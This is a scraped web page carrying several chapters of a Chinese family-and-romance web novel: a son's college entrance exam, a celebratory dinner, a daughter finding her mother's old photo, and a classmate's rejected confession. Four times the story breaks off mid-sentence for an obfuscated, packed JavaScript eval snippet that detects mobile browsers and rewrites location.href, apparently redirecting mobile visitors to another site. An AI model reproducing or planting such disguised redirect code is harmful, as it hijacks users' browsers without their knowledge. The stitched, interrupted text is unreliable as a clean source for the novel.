;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17406751|200551||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
歌愣了愣,脑子里不受控制地吧能想起来的人名全都过了个遍,找不到能对上号的。
江乐?
不,程嘉临应该没有回避型依恋的倾向……
两人直直对视半晌,程嘉临像充气太满的气球,可是进气口没有收紧,于是一瞬间泄了气,变得扁扁的,软趴趴的,失去所有精神气。
“你也……你也可能不认识,我记错了吧。”最后,程嘉临小声说。
*
重复枯燥的习题容易让人对时间的感知失灵,这种情况在程嘉临身上尤为明显,他感觉自己只是睡了一觉,某天从床上坐起来,才发现日历已经翻到六月七日,夏天在鸟叫蝉鸣声中聒噪地到来,他的青春期随着薄薄的几张答题卡一起上交,结束在曾听过无数次的下课铃声里。
这一年,高温和烈日都来得早。
明诗悦穿了旗袍,程明谦穿红色T恤,连明歌都一身黄灰色撞色连衣短裙,一家人寓意着“旗开得胜”“红红火火”“再创辉煌”,在校门口接下国宝级高考生程嘉临。
本来还应该有宋阿姨,早在一个月前,她就兴致勃勃地和明诗悦商量要给高考完的程嘉临送什么花,可惜家里突逢变故,老人病得严重,不得已向明诗悦递交了辞职信。
宋阿姨走的那天,程嘉临和明歌在院门口送她。
宋阿姨仰头看着眼前比她高了许多的少年,强颜欢笑道:“我来的时候,嘉临才到我腰呢。”
“那时候刚开始和程先生两个人一起生活吧?程先生真的不会带孩子,雪白干净的小男孩,衣服皱巴巴的,像刚和人打架回来。”
“一转眼,长这么大啦。”宋阿姨轻叹。
她又搂明歌的肩膀,像冬天时一样把她抱在怀里,明歌闻到属于宋阿姨的,暖烘烘的洗衣液味道。
明歌说:“再见,宋阿姨。”
后来明诗悦又一次申请居家办公,这次是为了陪程嘉临高考。
她偶尔去公司拿几次文件,有一次回家时心神不宁,明歌识趣地不打扰她,默默把她落在客厅茶几上的文件送去书房,然后代替她把热好的牛奶送给程嘉临。
高考真是天大的事,一间屋子四个人,一个人高考,另外三个人跟着一起神经紧绷。
现在终于考完了,大家见到程嘉临时还是不敢放松。明诗悦看程明谦,程明谦看明歌,明歌看来看去,只能把目光转向程嘉临。
程嘉临眼尾嘴角都绷得紧紧的。
程明谦心一横,小心翼翼地问:“儿子,考得怎么样?”
“其实……”
“其实……?”
“其实挺好的。”程嘉临说完,再绷不住表情,笑了起来。
全家人终于能大舒一口气,明歌把怀里的向日葵递给程嘉临。
“恭喜。”她说。
太阳很斜很斜了,日光把程嘉临和明歌的影子拉长。程嘉临忽然发现他其实已经很久没有看到这个时间的太阳,原来它看起来这样轻,轻得甚至有些单薄。
但是很漂亮,程嘉临心想。
这也很好。
23. 照片
接上程嘉临,一家人去吃饭。
饭店包间是提前一个月预定的,高考的是程嘉临,但考前最紧张的人是程明谦,现在考完了,最激动的人还是程明谦。
服务员开完酒,程明谦先给自己倒上满满一杯,又往程嘉临面前的杯子倒。
眼看着杯中的酒越来越满,明诗悦赶紧拦住程明谦:“行了行了,你悠着点儿,嘉临没喝过酒。”
程嘉临也让他爸不要这么激动。
程嘉临顺手将酒瓶放在一边,明歌转过瓶身看了一眼,青梅酒,度数没她想象中那么高。
程明谦一抹脸,说:“儿子,你真不知道,你现在高考完,长大成人,爸有多欣慰。”
程明谦很少当着家里人的面喝醉,但今天不一样,今天是程嘉临人生中的大日子,他终于算是把儿子培养长大,成不成才的没那么重要,只要儿子平平安安、健康快乐,他就心满意足了。
程嘉临的妈妈一定也是这么想的,他没有辜负病逝多年的前妻。
当然,程嘉临能茁壮成长,也少不了明诗悦的付出。程明谦几杯酒下肚,醉醺醺地搂着明诗悦,说谢谢你为这个家做了那么多,谢谢你一直照顾我和儿子。
程明谦絮絮叨叨说个不停,情到深处,他甚至使劲抹了抹眼角。
明歌目瞪口呆地看着眼前的场景,程明谦在她眼里一直是温和寡言的形象,她没想到他喝完酒之后这么……感性又唠叨。
明诗悦很是习惯程明谦这副模样,任他搂着,眉眼含笑。
程嘉临和他爸截然相反,他安静得多,不知道是不是喝了酒犯困,眼睫挂着潮气,吃东西慢慢吞吞,吃鱼都不把刺挑了,明歌注意到时他已经把鱼肉塞进嘴里。
明歌心惊胆战,生怕一会儿要给他叫救护车。
程嘉临天赋异禀,腮帮子鼓了鼓,在嘴里给鱼进行了骨肉分离,仔仔细细地吐出鱼刺。
明歌悄悄松了口气。
“嘉临啊,今天怎么这么安静啊?是不是……是不是想起来哪道题做错了啊?爸跟你说,这都不是事儿。”程明谦这时候展现出了百分之八十中年男人都有的缺点——爱在饭桌上指点江山。不过他有一点比较好,他说的话虽然听起来比较夸张,但总体而言并不算吹牛。
毕竟他真的有这个资本。
他细数了一遍自己的产业,大手一挥,不知道是在安慰程嘉临还是在安慰自己:“没事儿,分数不理想咱就出国,不想出国爸给你想上的学校捐图书馆——哦,这样走后门不太好,没事,你随便念个二本也没事,但是没上本科线就不太行了,爸可以给你找最好的复读机构……”
眼看他越说越离谱,明歌都忍不住了,见缝插针地打断他:“叔叔,哥哥成绩很好的,您不用担心他的。”
"哦,哦。"程明谦听了这话,喜笑颜开,“儿子,真争气,爸为你骄傲!”
……
回家路上是明诗悦开的车,程明谦在副驾驶小声和明诗悦说话,程嘉临干脆彻底昏睡,脑袋一歪,整个人倒在明歌身上。
程嘉临看着瘦,只有明歌这种经常被他当拐杖使的人才知道,他的密度其实相当可观,没骨头似的压过来,沉得要命。
半个小时的路程,明歌半边身子都麻了,动又不能动,在心里发挥乐观精神,安慰自己说算了,至少程嘉临酒品还不错,不嚷嚷也不乱吐。
到家后,明诗悦扶着程明谦去沙发上休息。
明歌看程嘉临挺正常的,能走直线,上楼梯也不磕绊,以为他酒醒了,就先没管他,目送他上楼后,去厨房冲了两杯蜂蜜水,其中一杯端给明诗悦。
明诗悦接过,照顾着程明谦喝下去。
明歌后退一步,脚后跟踢到什么东西,她转身捡起来,是明诗悦通勤常背的小包。
明歌说:“我帮你把包放到书房去?”
这段时间明诗悦兼顾家务和工作,有时难免分身乏术,明歌时不时就帮她做一些类似的小事。
明歌说完等了一会儿,明诗悦没回答,明歌便当她是默认,带着包去了楼上书房,顺便看看程嘉临怎么样了。
程嘉临不怎么样。
洗了澡,身体里的热气蒸出来,他又热又燥,脑子晕乎乎的,情绪上却异常亢奋。
俗称醉意上头,再通俗一点,他想发酒疯。
明歌此时出现在二楼走廊简直是肉包子打狗。
程嘉临看见她,眼睛一亮,猛地扑过去,明歌被他撞得后退两步才勉强站稳,明诗悦的包砸在地上,文件散落出来,发出“啪”的一声响。
明歌反手撑着书房门把手,程嘉临趴在明歌耳边,得意地小声说:“不骗你,我这次真的考得特别好,我这次把导数题证明出来了,分情况讨论,你教的我都学会了。”
他刚洗完澡,穿着柔软的棉质T恤,在空调房里待了一阵,皮肤已经凉下来,吐息却十分温热,十分没有距离感地喷在明歌耳垂上。
明歌躲了一下:“知道你考得好,你去和程叔叔说,不用特意跟我强调一遍。”
“才不呢,就想让你知道,跟我爸说了他也不懂,他只想捐图书馆给我走后门。”
“……也挺好的。”
“不,我爸还不如给教室都装上空调,江明夏天太热了。”
明歌推他的动作顿住,“你要考江明的学校?江大?”
程嘉临突然不说话了,扒在明歌身上的手也松下来。
明歌不跟他纠结这个事情,蹲下来收拾明诗悦的包。
她把散出来的纸质文件夹回文件夹里,收拾到一半,突然发现一张照片。
她实际上只看见了这张照片的左半边,另外一半被厚厚的A4纸盖住,露出的部分里,是两个她在熟悉不过的人——明诗悦和苏海。
两人年轻青涩的面庞和身上过时的衣服清楚地告诉明歌这是一张至少十几年前的旧照,糊成色块的像素掩盖不住他们生动鲜活的表情,和看向彼此时
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17406752|200551||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,眼神里浓厚的爱意。
明歌一动不动地愣在原地。
程嘉临又一次黏上来,与此同时楼梯上传来脚步声,明诗悦快步上楼,边走边问,“小歌?什么动静?你拿着妈妈的包吗?”
明歌骤然回神,推开程嘉临,飞快地收拾好文件和包。
“没事,哥哥头晕,差点摔倒了,我去把刚冲的蜂蜜水端给他。”明歌冲楼梯口喊。
程嘉临醉得无法思考,凭借本能把明歌拉回来:“不用你跑一趟,我自己去。”
明歌趁机将包放好,她感觉自己心如鼓擂,指尖微微颤抖。
苏海还在的时候,家里是有很多照片的。
苏海年轻时是那种很典型的文艺青年,放到现在一定会被嘲讽矫情的那种。他当年最大的爱好就是摄影、读书、旅游和看民谣歌手的演唱会,积攒下来大把大把的照片,放在那种奇形怪状的相框里,隔几个月就换一茬新的。
明歌刚记事的时候不懂事,哭闹着要他把明诗悦的照片都摆出来。
当时的苏海尚有身为人父的良知,偶尔愿意哄一哄明歌,和明歌的关系并没有后来那么冷淡,明歌清楚地记得,他拿出了一本厚厚的相册,明歌的力气举起来都很困难。
他们的房子还没有换成后来的大平层,客厅太小,放不下沙发,苏海把明歌抱在怀里,靠在床头,带着她一页页地翻。
那些照片的构图、背景、镜头里明诗悦的衣着和神态,明歌通通忘了个彻底,唯一有印象的片段,是爸爸在她背后的一声叹息。
他说了句什么,也许是“我很想她。”
这句话轻而又轻,轻到明歌怀疑这只是自己的一场梦——也很合理,苏海并无这种真心,他身边总是围绕着很多与明诗悦截然不同的、像玫瑰一样张扬漂亮女人。
苏海是不折不扣的烂人一个,明歌七岁以后就把圣诞愿望从“希望妈妈回家”改成了“存钱罐里的钱明天就多到够去找妈妈的路费”。
明歌走出书房,明诗悦恰好走到门口,明歌观察着她的表情,她很想从妈妈脸上看出一些不平静的内容,但光线太暗,明歌并没有看得很清晰。
她想明诗悦至少是有些紧张的,她在紧张什么呢,这张照片从哪里来,她为什么把照片藏在包里?
明诗悦。妈妈。
这意味着她在怀念过去吗,或者更准确地说,怀念苏海,意味着苏海那声叹息不是明歌的梦,她的父母曾经是相爱的。
明歌的眼眶那么烫。
她的大脑空白,她比喝了酒的程嘉临还要迟钝,她很久没有听到过那种齿轮转动的声音,可是这一刻,她的耳畔充斥着令人牙酸的声响。
江明的梅雨季到了,角落里一块不起眼的齿轮被雨水浸湿、生锈,依旧无休无止地转动。
如果她真的是一台仪器、一片花瓣就好了,也可以是挂在程嘉临房间窗边的贝壳风铃,不在意、不思考,偶尔摇动,只是因为房间的主人开了窗。
24. 书签
程嘉临高考完之后彻底放松下来,第一件事就是睡到天昏地暗,把过去三年没睡好的觉都补回来。
明歌没他这么闲,程嘉临考完的第二天,她高考假结束返校,中午回来吃饭时,程少爷刚刚打着哈欠从房间里走出来。
他扒在二楼楼梯扶手上往下看,对明歌说:“早上好。”
语气贱兮兮的。
明歌问他下不下来一起吃午……呃,早饭。
宋阿姨离开之后,家里暂时没请到合适的阿姨,明诗悦回公司坐班,只请了钟点工来做做饭打扫一下卫生。
程嘉临尝了一口,还可以,但不知道是不是心理原因作祟,他总抱着一种“曾经沧海难为水”的心态,怎么品怎么觉得手艺不如宋阿姨。
明歌期末考试在即,宁外下发了新的通知,从这一届开始高三重新分班,期末考试成绩就是分班的标准。
明歌在宁外考了几场试就拿了几次第一,这条通知对她来说没什么影响。可是其他人不一样,班里很多人的考试位次都比中考排名下降了不少,各科老师都加强了复习力度,最近的作业量隐隐有翻倍的趋势。
许韵蔼每天课间都抱着秦钰假哭,说秦钰和她简直是难姐难妹,再考一次肯定进不了好班。
她嘴上这么说,实际上对学习也并没有怎么上心,该玩还是玩,真正为分班而紧张的人,下课连上厕所的时间都没有。
这其中就包括郑心榕。
明歌看过郑心榕的中考成绩,她不太了解宁城的中考分数线,但能看出来,那个分数和周围同学展现出来的水平是不相符的。
郑心榕有多努力学习她看在眼里,可很多时候都力不从心,差距弥补得很慢。
加上这学期蒋述的事情,她被威胁,还请了一个月的假,成绩下降得更厉害,连前三百杀进去都困难,不到一个月之后就要分班考,她掉出实验班几乎是板上钉钉的事情。
除非发生奇迹,或者她提前猜到考试题。
察觉到明歌的目光,郑心榕停了笔,问:“你要出去吗?”
她说完把椅子往前拉了拉,胸腔贴上课桌的边缘,以一个很别扭的姿势继续和生物题搏斗。
明歌没动,她不是想出去,她是在看郑心榕算题。伴性遗传,第二小问算错了,带着错误答案,第三小问的数值不合理,她一直在死磕。
郑心榕这几天大概都没有好好休息,双眼布满红血丝,黑眼圈也更重。她神经质地咬笔杆,越算越焦躁,不停地叹气。
明歌看不下去,拽了拽她的椅背,郑心榕感觉到拉力,下意识地往后挪,回到正常的位置。
明歌说:“第二问错了,你没考虑普通染色体上的基因,概率要相乘。”
郑心榕愣了一下,恍然大悟。
明歌说完,趴在桌子上补觉,耳边是郑心榕演算时笔尖摩擦草稿纸的沙沙声。明歌上高中两年,已经练出课间十分钟秒睡的本事,迷迷糊糊快睡着时,听到郑心榕凑在她耳边小声说话。
说什么“小歌我还想和你在一个班”。
原来在为这种基本没有可能的事情努力吗。明歌觉得没意义,没必要,但她说得很认真,而且明歌太困了,就没有反驳她。
下午的课,所有老师都在讲高考假前那一次月考的试卷,明歌只听寥寥几道错题的解法,其余时间都用来做作业。
她写得光明正大,老师看在她成绩好,都对她睁一只眼闭一只眼,放学回家之前,她的作业就做了个七七八八。
程嘉临睡饱了,过于旺盛的精力无处发泄,家里空无一人,又嫌外面热不想出去,一下午给明歌发了几十条微信。明歌上课没有及时回复,他也发得乐此不疲。
明歌边往校门口走边看消息内容,她按了右上角直接跳到第一条未读消息的快捷按钮,一条条往下翻,越看越心惊胆战。
程嘉临突发奇想,在家研究做饭。
他跟着教程做一步就给明歌发一条消息汇报实时进度,图文并茂,附带每种食材各个阶段的写真,以及“主厨”的吐槽和抱怨。
他说这些绿色叶子的菜怎么都长得那么像,拍了两种蔬菜的对比图,罗列了它们的各种差异,最后选了错的那种。
明歌怀疑他实在分不清,点兵点将点出来的。
不过都能吃,问题应该不大。比起这个,明歌更担心他能不能把食物煮熟,她不想一进门就看见因为食物中毒而口吐白沫人事不省的程嘉临啊。
明歌怀着七上八下的心情打开了家门,书包都没来得及放,就进了厨房。
程嘉临蹲在地上,低着头,正全神贯注地……研究一个饮料瓶?
明歌扫视了一圈,他煮好的那一锅不好说是火锅还是冒菜的东西放在一边,还好,除了台面乱了点,厨房没炸。
她走到程嘉临旁边:“你在干嘛呀?”
程嘉临被她吓了一跳,抬头看她,视线经过她的膝盖和裙摆,慌忙避开。
明歌捡起地上的饮料瓶,是那个所有小朋友都会缠着家长要买的,可以往外滋饮料的经典品牌。
不过里面装的不是饮料,是跟牛奶差不多浓的淡黄色液体。
“这什么啊?面糊?”
程嘉临站起来,纠正她:“松饼面糊。”
明歌:……
她懒得去纠结程嘉临哪找的做饭偏方了,把书包丢给程嘉临,查了查松饼的配料表,面多加水,水多加面,配合酵母,勉强拯救了程嘉临那一瓶失败的面水。
最后那锅不好定义种类的神秘杂烩汤和松饼一起上桌,阿姨做的菜负责在周围众星捧月。
程嘉临眼睛亮亮地看着明歌:“我真的觉得我这道酸汤火锅非常成功。”
哦,原来是酸汤火锅。明歌尝了一口,发现居然真的还行。
怎么形容呢,就是那种每一步严格按照标准执行,做出来的非常死板正规的味道。
能把菜做成这样也是天赋。
程嘉临过于期待的目光太有杀伤力,这顿
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17406753|200551||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
晚饭明歌吃得很撑,胃里百分之九十的食物都出自程嘉临之手。
吃完饭俩人一起收拾碗筷,程嘉临原本想让明歌赶紧去写作业不要在这上面耽误时间,知道明歌作业快做完了之后,立刻不客气地撤回了这句话,并表示希望晚上明歌陪他一块打游戏。
忘乎所以、得寸进尺,明歌脑子里出现一连串形容程嘉临此刻状态的词语。
“耽误高中生学习一般来说不是大罪吗?”明歌难以理解程嘉临的脑回路。
“我只是提议嘛。你不拒绝就是没有不想,对不对?只一个小时,保证不会太久。”
明歌这下懂了,他的意思是先许愿,能成功是最好,被拒绝了也无所谓。
其实明歌也没有很想打游戏的,她更想早点睡觉,但她一般不会拒绝程嘉临的要求。
*
明歌和程嘉临处在两种截然不同的生活状态里,两人之间时间的流速产生了轻微的错位。
明歌觉得自己眼睛一睁一闭几天就过去了,程嘉临松懈下来,每天都觉得日光无比漫长。
如果把明歌现在的生活比作一本书,那么程嘉临成为了她的书签。
她的主线剧情由忙碌的学业组成,程嘉临则时不时地出现在某些特殊的情节里——比如早上听到门响挣扎着爬起来陪她吃早餐——穿着五颜六色的衣服,夹在书页里做上五颜六色的标记,整本书就越变越厚,塞不进书柜里,只好摆在桌面最显眼的位置。
六月下旬,程嘉临出了成绩。
他超常发挥,考出了高中三年最高的年级排名,挤进前五十,按照宁外往年的记录,能过c9录取线。
程嘉临拨通程明谦的号码,一开始他没接,一点多才回了个电话,听儿子说完高考分数,高兴得差点真去给宁外捐图书馆。
明歌吃完午饭困得眼睛都睁不开,坚持做了会儿题,实在撑不住,留程嘉临一个人趴在她桌上翻漫画书,把自己往床上一砸,不动了。
程嘉临挂掉一个志愿填报指导的广告电话,看了看她的卷子,“你这题差最后一步就算完了啊。”
“不写了,不写了,好困。反正是周末,你不要吵……”明歌声音越来越小,话还没说完就睡着了。
程嘉临笑了笑,把手机调成静音。
明歌一觉醒来,天空已经变成橙色了,房间内空调温度有点低,她露着胳膊睡的,坐起来第一件事就是把被子裹紧。
她以为程嘉临早就走了,没想到他怀里抱着她的毛绒兔子,也趴在桌上睡着了。
明歌叫他:“哥。”
程嘉临睫毛一抖,醒了。
他脸上被压出了红印,一副没料到自己会睡着的样子,下意识地先摸出手机看时间。
下午六点整。
他微信都快炸了,问分数的、问他志愿怎么填的、七大姑八大姨的恭喜恭喜。
最新的一条消息是江乐发的,江乐的头像压在被他置顶的明歌的下面,显示语音通话未接听。
25. 告白
程嘉临人还没完全清醒,下意识地点了回拨。
江乐接得很快,程嘉临耳机都没来得及戴,她的声音从听筒里漏出来,说看到老师发的前一百红榜了,恭喜程嘉临。
明歌吸着鼻子,磨磨蹭蹭地挪过来拿椅背上的外套。程嘉临余光瞥见她,顺手调高了空调温度。
“也恭喜你,又是第一……嗯?出去?现在吗?”
明歌看了他一眼,用口型问:你要出去?
江乐的语气很认真,程嘉临沉默了一会,说:“好。”
明歌还是冷,干脆关了空调。程嘉临挂了电话,帮她把窗户打开,拿着手机往外走。
“你什么时候回来啊?”
“不知道,应该不会很久吧。我回来路过超市给你带零食,你吃什么?”
“随便,你买你喜欢吃的吧,我都吃。”
程嘉临又转身回来拍了拍她的头顶:“问你什么都随便。那我看着买了。”
明歌裹着外套站在房间窗边,听到楼下门响,过不多一会儿,就从窗子里看到程嘉临打开院门,走出去。
他去找江乐了。
明歌高一刚入学的时候听过同学讲给她的八卦,同年毕业的一对学长学姐高考时全市排名并列第一,破了他们学校有史以来的高分纪录。出分数的那天,男生向女生表白,报了同一所大学。直到明歌转学前,这个故事还在学校里被人津津乐道。
江乐叫程嘉临出去是想说什么,明歌能想得到,程嘉临当然也能想到,但他还是去了。
他之前当着全校的面说他有喜欢的人,是江乐吗?
明歌原本以为他不喜欢江乐,现在反而有些不确定了。
不过这不是她该操心的事,程嘉临和别人在一起,注意力被转移,少打扰她一些,她也乐得清闲。
江乐把程嘉临约在海边,程嘉临过来时,她已经在那里等了一会。
高考过后,赵奕潇想把大家约出来聚聚,但是分数还没出来,江乐情绪一直很紧张,陈夏便说等出了分再说。
这是他们高考后第一次见面。
江乐没怎么变,只把头发放了下来,涂了淡淡的唇彩。
她看见程嘉临,很开心地朝他挥手。
程嘉临对她笑了一下。
他们沿着海边步道慢慢散步。江乐主动叫他出来,却又什么都不说,他只好没话找话地先开口:“你考得很好,清大这种学校是不是随便上了?”
江乐“嗯”了一声,问他:“你考得也很好,你有想过志愿怎么填吗?你……你想去首都吗?”
程嘉临安静了一会,停住脚步,江乐走在他前面,察觉到他停下,转过身看他的眼睛。
江乐的眼神中饱含着期待,程嘉临低头,避开她的目光。
他喉咙发紧,语气很轻地说:“江乐,我不会去首都。”
江乐怔了怔:“那你想去哪里?宜市?可是你的分数那么高,首都离宁城也很近,不管怎么说都是更好的选择……”
程嘉临打断她:“我早就想好了的,我会填江明大学。”
江乐张了张口,不知所措地绞紧了手指:“那你之前说你有喜欢的人……”
那天程嘉临站在主席台上,眼睛明亮,意气风发,大声地向全校宣布他喜欢着某个人。
他的目光扫过台下,江乐总觉得在经过她时顿了一下,那一瞬间就好像有一只蝴蝶为她而停留。
她想,赵奕潇和陈夏都会去很遥远的国外,只有她和程嘉临彼此陪伴,度过年少时最重要的时光,他们共同经历高考,有一份旁人无法分享的最亲密的默契。
所以她才能万分有幸,被程嘉临这样好的人所喜欢。
可她现在才发现,好像是她自作多情了。
程嘉临的话像刀子一样扎在她心上,他说:“江乐,你真的很值得被喜欢,但我喜欢的人不是你。”
“那你……那你喜欢谁啊?”江乐眼眶通红。
她一直是个有礼貌讲分寸的人,她知道这种问题她没资格问,但是她控制不住,她第一次在程嘉临面前这样失态。
她太想知道到底是谁获得了他的青睐,她想知道自己到底是被谁比下去。
她喜欢他三年,多不甘心啊。
“你和谁约好了去江明吗?江明太远了呀,我们班,我们班有谁想去江明吗?”
江乐的眼泪掉出来,她抬手抹掉,断断续续的哽咽最后变成小声的哭泣。
程嘉临叹了口气:“江乐,对不起。”
江乐哭得整张脸湿漉漉的,程嘉临等她平复下来,陪着她去便利店买纸巾。
江乐走在他前面,不看他。
程嘉临内心尴尬,低头跟着她,余光扫到旁边的零食货架,忽然想起出门前自己答应给明歌带零食回去。
程嘉临怕热,每次进明歌房间的时候,明歌都会把空调调低两度,他走之前,明歌一直在吸鼻子。
程嘉临皱了皱眉,宋阿姨走后家里没人买过常用药,他不清楚医药箱里还有没有感冒药和消炎药,盘算着回去路上顺带买一些,以防万一。
江乐正在结账,程嘉临扫了一眼架上的零食,拿了一堆冻干草莓、烤酸奶条之类的东西,隔着一米多,排到江乐后面。
江乐回头看他一眼,哑声问:“你是不是没吃晚饭?”
“没,我不饿。”就是不知道明歌吃没吃饭,饿不饿。
程嘉临这么想着,拿出手机准备结账,屏幕亮起,看见明歌给他发了消息。
只有两条,第一条问他能不能买药回来,第二条可怜巴巴地问他到哪里了。
程嘉临心头一跳,坏了,他忘记把静音模式改回来了,完全没听到明歌的消息提示音。
店员催他结账,程嘉临心急如焚,等不及店员慢慢装袋,自己拿过那堆零食胡乱地塞进购物袋里,立刻打车往回赶。
江乐问他怎么了,他忙着外卖买药,没太听清,说:“我妹妹生病了,家里没人,我得回去看看,我帮你打车了,你也回去吧。”
“小歌生病了?很严重吗?”
“发烧了吧,我走之前她就有点咳嗽了,她体质不太好,也不知道晚上吃没吃饭……啊,车到了。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17406754|200551||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
程嘉临说完,向路口一辆出租车跑去,跑到一半,没装好的零食掉出来,他弯腰捡,差点因为惯性摔了一跤,往前扑了一步,好悬站住了。
几秒钟后,汽车载着他消失在江乐的视线里,手机上弹出他发来的车牌号截图和手机尾号。
程嘉临:【到家给我发个消息。今天真的很抱歉。】
江乐发:【那我们以后还是朋友吗?】
程嘉临没回。
江乐呆呆地站在原地。
她看到的程嘉临永远都是从容不迫、自信张扬的,她从来没见过程嘉临这副慌里慌张的狼狈模样。
如果是陈夏或者赵奕潇,看到程嘉临这副囧样一定会嘲笑他,可是江乐扯了扯嘴角,发现自己一点都笑不出来。
她发现自己竟然因为程嘉临在明歌面前变狼狈,而感受到一丝嫉妒。
她想起来了,陈夏和她提过,明歌是江明来的。
江乐突然觉得自己很可笑,眼泪再一次滚下来,她用力地擦干。
司机已经到达附近,江乐上了车,估算了一下车费,向程嘉临转了账。
*
明歌都写完两张卷子了,程嘉临还没有回来。
她一直在断断续续地咳嗽,不记得医药箱里还有没有药,也懒得去找。发消息给程嘉临,他半个多小时都不回。
明歌把试卷往旁边一推,把便利贴撕成一条一条的,往程嘉临的漫画书封面上贴。
主角被她贴成兔子耳朵,又被她贴了两条小胡子。
明歌贴完最后一条,听到院子的门铃声。
她挺直脊背,朝窗外看,不是程嘉临回来了,是外卖小哥拿着一包药在按铃。
明歌:……
她慢吞吞地下了楼。
明歌刚想开门,门先从外面开了,程嘉临拎着那包药和一大兜子零食站在门外,看见她穿着单薄的无袖睡衣,第一反应是问她冷不冷。
明歌:“你知不知道现在是夏天,而且客厅里没开空调。”
程嘉临也是关心则乱,见她没事,放下心来,哭笑不得地摸了摸她的脑袋:“你吓死我了。”
明歌顺手接过他手里装药的袋子,发现里面感冒药消炎药止咳糖浆一应俱全,“我只让你带药而已,你脑补什么了呀。”
“什么啊,我这是关心你。”有一种冷叫哥哥觉得你冷,程嘉临还是觉得明歌穿太少了,让她回房间加个外套,自己去找医药箱,“你看过医药箱吗?我们家还有没有备用药?”
“不知道,我没看。”
“……你难受也不能光指望我啊,少跟病毒玩敌不动我不动的战术,下次主动出击知道吗?”
明歌撇嘴,觉得他好啰嗦。
程嘉临把药收拾好又去收拾零食,明歌穿着外套跟在他后面晃。
程嘉临态度如常,明歌看不出他和江乐之间发生了什么。
算了,她没必要问。
明歌垂下睫毛,转身回屋。
程嘉临在身后叫住她:“小歌。”
“怎么了?”
“你……是不是有话想问?”